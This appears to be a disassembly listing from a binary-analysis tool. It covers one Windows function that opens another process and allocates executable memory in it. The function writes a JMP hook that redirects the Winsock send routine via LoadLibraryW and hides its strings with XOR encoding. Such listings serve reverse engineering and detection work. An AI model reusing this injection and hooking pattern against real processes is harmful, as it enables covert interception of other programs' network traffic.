Function at 0x45463f
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x2a8
mov eax, dword [0x678dc8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push ecx
push 0
push 0x1fffff
mov edi, edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4545d0
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x298], eax
test eax, eax
jne 0x4545e5
mov dword [ebp - 0x230], 0x8da5f696
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0x96bdb36d
mov dword [ebp - 0x228], 0x11e2968e
mov dword [ebp - 0x224], 0xd3442f2f
mov dword [ebp - 0x220], 0x8bbb9e35
mov dword [ebp - 0x21c], 0x8d84d620
mov dword [ebp - 0x218], 0x4ca9096a
mov dword [ebp - 0x214], 0xe14dbf41
mov dword [ebp - 0x270], 0xe2c99ad7
mov dword [ebp - 0x26c], 0xe3df930e
mov dword [ebp - 0x268], 0x6387f0e8
mov dword [ebp - 0x264], 0xba25490f
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x81dffb59
mov dword [ebp - 0x25c], 0x8d84d620
mov dword [ebp - 0x258], 0x4ca9096a
mov dword [ebp - 0x254], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c77ea
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x1c8
lea eax, [ebp - 0x1dc]
mov word [ebp - 0x208], 0xba60
push 0
push eax
mov byte [ebp - 0x202], 0xb9
mov dword [ebp - 0x1fd], 0x189028b
mov dword [ebp - 0x1f9], 0x8804428a
mov word [ebp - 0x1f5], 0x441
mov byte [ebp - 0x1f3], 0x68
mov byte [ebp - 0x1ee], 0xba
mov dword [ebp - 0x1e9], 0x8b61d2ff
mov dword [ebp - 0x1e5], 0xec8b55ff
mov byte [ebp - 0x1e1], 0xe9
call fcn.005c9580
mov eax, dword [ebx + 8]
add esp, 0xc
add eax, eax
push eax
lea eax, [ebp - 0x1b2]
push edi
push eax
call fcn.005c9000
mov ecx, dword [ebp - 0x298]
add esp, 0xc
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x201], edi
lea eax, [ecx + 0x50]
mov dword [ebp - 0x206], eax
lea eax, [ecx + 0x56]
mov dword [ebp - 0x1f2], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x1ed], eax
mov eax, edi
sub eax, ecx
sub eax, 0x27
mov dword [ebp - 0x1e0], eax
mov eax, dword [edi]
mov dword [ebp - 0x1b8], eax
mov al, byte [edi + 4]
push 0
push 0x1f4
mov byte [ebp - 0x1b4], al
lea eax, [ebp - 0x208]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4547c8
push dword [ebp - 0x298]
mov dword [ebp - 0x230], 0x96a0e880
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0x82b9b36b
mov dword [ebp - 0x228], 0x7e29c81
mov dword [ebp - 0x224], 0xc215612f
mov dword [ebp - 0x220], 0x8bf6a37c
mov dword [ebp - 0x21c], 0x8d84d620
mov dword [ebp - 0x218], 0x4ca9096a
mov dword [ebp - 0x214], 0xe14dbf41
mov dword [ebp - 0x270], 0xe2c99ad7
mov dword [ebp - 0x26c], 0xe3df930e
mov dword [ebp - 0x268], 0x6387f0e8
mov dword [ebp - 0x264], 0xba25490f
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x81dffb59
mov dword [ebp - 0x25c], 0x8d84d620
mov dword [ebp - 0x258], 0x4ca9096a
mov dword [ebp - 0x254], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 8
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c77ea
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x29c], 0
push eax
push 0x40
push 5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 0x298]
sub eax, edi
mov byte [ebp - 0xc], 0xe9
push 0
sub eax, 5
mov byte [ebp - 0x291], 0
push 5
mov dword [ebp - 0xb], eax
lea eax, [ebp - 0xc]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, 1
jne 0x454bd3
mov dword [ebp - 0x250], 0x81bdfb87
lea eax, [ebp - 0x250]
mov dword [ebp - 0x24c], 0x96acb366
mov dword [ebp - 0x248], 0x10e2938b
mov dword [ebp - 0x244], 0xdf05657c
mov dword [ebp - 0x240], 0xf5b19e2f
mov dword [ebp - 0x23c], 0xe8eca200
mov dword [ebp - 0x238], 0x21c86e4a
mov dword [ebp - 0x234], 0x8e399f24
mov dword [ebp - 0x230], 0x1ecc16db
mov dword [ebp - 0x22c], 0xad37dba0
mov dword [ebp - 0x228], 0x64b5b5f2
mov dword [ebp - 0x224], 0x805fb247
mov dword [ebp - 0x220], 0x3d06feac
mov dword [ebp - 0x21c], 0xdd396884
mov dword [ebp - 0x218], 0x89ddab8d
mov dword [ebp - 0x214], 0x4654d496
mov dword [ebp - 0x290], 0xe2c99ad7
mov dword [ebp - 0x28c], 0xe3df930e
mov dword [ebp - 0x288], 0x6387f0e8
mov dword [ebp - 0x284], 0xba25490f
movaps xmm1, xmmword [ebp - 0x290]
pxor xmm1, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0x250], xmm1
mov dword [ebp - 0x280], 0x81dffb59
mov dword [ebp - 0x27c], 0x8d84d620
mov dword [ebp - 0x278], 0x4ca9096a
mov dword [ebp - 0x274], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x280]
pxor xmm1, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0x240], xmm1
mov dword [ebp - 0x270], 0x7fb865fb
mov dword [ebp - 0x26c], 0xc417afd2
mov dword [ebp - 0x268], 0x7d0df9c
mov dword [ebp - 0x264], 0xed779233
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0xe2686cd
mov dword [ebp - 0x25c], 0xb84a48b4
mov dword [ebp - 0x258], 0xedb3c4ee
mov dword [ebp - 0x254], 0x465efde5
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 4
mov byte [ebp - 0x291], 0
xor al, al
mov byte [ebp - 0x292], al
nop dword [eax]
push 0
push 1
lea eax, [ebp - 0x291]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x291], 0xe9
jne 0x454a7b
inc byte [ebp - 0x292]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x292], 0xd2
jne 0x4549d0
mov dword [ebp - 0x260], 0x87a4f383
lea eax, [ebp - 0x260]
mov dword [ebp - 0x25c], 0x96b0b36a
mov dword [ebp - 0x258], 0x6387de9c
mov dword [ebp - 0x254], 0xba25490f
mov dword [ebp - 0x220], 0xe2c99ad7
mov dword [ebp - 0x21c], 0xe3df930e
mov dword [ebp - 0x218], 0x6387f0e8
mov dword [ebp - 0x214], 0xba25490f
movaps xmm1, xmmword [ebp - 0x220]
pxor xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x260], xmm1
jmp 0x454bb3
mov dword [ebp - 0x240], 0x87a4fb90
lea eax, [ebp - 0x240]
mov dword [ebp - 0x23c], 0x86a9f62e
mov dword [ebp - 0x238], 0x7a78486
mov dword [ebp - 0x234], 0xd9403d6a
mov dword [ebp - 0x230], 0xadbb9e2d
mov dword [ebp - 0x22c], 0xe1e8b200
mov dword [ebp - 0x228], 0x6cda604a
mov dword [ebp - 0x224], 0x852cd02d
mov dword [ebp - 0x220], 0x5fdf0b92
mov dword [ebp - 0x21c], 0xea60c0bc
mov dword [ebp - 0x218], 0x7daf1b2
mov dword [ebp - 0x214], 0xed779233
mov dword [ebp - 0x280], 0xe2c99ad7
mov dword [ebp - 0x27c], 0xe3df930e
mov dword [ebp - 0x278], 0x6387f0e8
mov dword [ebp - 0x274], 0xba25490f
movaps xmm1, xmmword [ebp - 0x280]
pxor xmm1, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0x240], xmm1
mov dword [ebp - 0x270], 0x81dffb59
mov dword [ebp - 0x26c], 0x8d84d620
mov dword [ebp - 0x268], 0x4ca9096a
mov dword [ebp - 0x264], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x7fb865fb
mov dword [ebp - 0x25c], 0xc417afd2
mov dword [ebp - 0x258], 0x7d0df9c
mov dword [ebp - 0x254], 0xed779233
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
movaps xmmword [ebp - 0x220], xmm1
push eax
call fcn.0044b300
add esp, 4
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x291], 1
jmp 0x454cae
mov dword [ebp - 0x230], 0x81bdfb87
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0xae95b366
mov dword [ebp - 0x228], 0x2e1d0b8
mov dword [ebp - 0x224], 0xde402566
mov dword [ebp - 0x220], 0x81dffb53
mov dword [ebp - 0x21c], 0x8d84d620
mov dword [ebp - 0x218], 0x4ca9096a
mov dword [ebp - 0x214], 0xe14dbf41
mov dword [ebp - 0x270], 0xe2c99ad7
mov dword [ebp - 0x26c], 0xe3df930e
mov dword [ebp - 0x268], 0x6387f0e8
mov dword [ebp - 0x264], 0xba25490f
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x81dffb59
mov dword [ebp - 0x25c], 0x8d84d620
mov dword [ebp - 0x258], 0x4ca9096a
mov dword [ebp - 0x254], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 4
lea eax, [ebp - 0x2a0]
push eax
push dword [ebp - 0x29c]
push 5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x4000
push 0x1000
push dword [ebp - 0x298]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x291]
xor ecx, ebp
pop edi
pop esi
call fcn.005c77ea
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret